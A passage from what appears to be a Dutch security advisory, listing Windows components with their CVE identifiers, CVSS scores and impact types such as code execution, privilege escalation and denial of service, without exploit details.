willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 